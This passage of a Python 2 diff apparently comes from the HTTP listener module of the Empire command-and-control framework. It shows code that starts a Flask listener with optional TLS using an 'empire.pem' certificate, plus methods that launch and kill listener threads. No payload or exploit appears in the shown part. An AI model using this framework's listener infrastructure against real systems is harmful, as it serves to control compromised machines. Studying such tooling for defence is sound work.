listenerOptions['CertPath']['Value'] + host = listenerOptions['Host']['Value'] + if certPath.strip() != '' and host.startswith('https'): + context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) + app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) + else: + app.run(host=bindIP, port=int(port), threaded=True) + + except Exception as e: + print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) + dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http') + + + def start(self, name=''): + """ + Start a threaded instance of self.start_server() and store it in the + self.threads dictionary keyed by the listener name. + """ + listenerOptions = self.options + if name and name != '': + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + else: + name = listenerOptions['Name']['Value'] + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + + + def shutdown(self, name=''): + """ + Terminates the server thread stored in the self.threads dictionary, + keyed by the listener name. + """ + + if name and name != '': + print helpers.color("[!] Killing listener '%s'" % (name)) + self.threads[name].kill() + else: + print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) + self.threads[self.options['Name']['Value']].kill()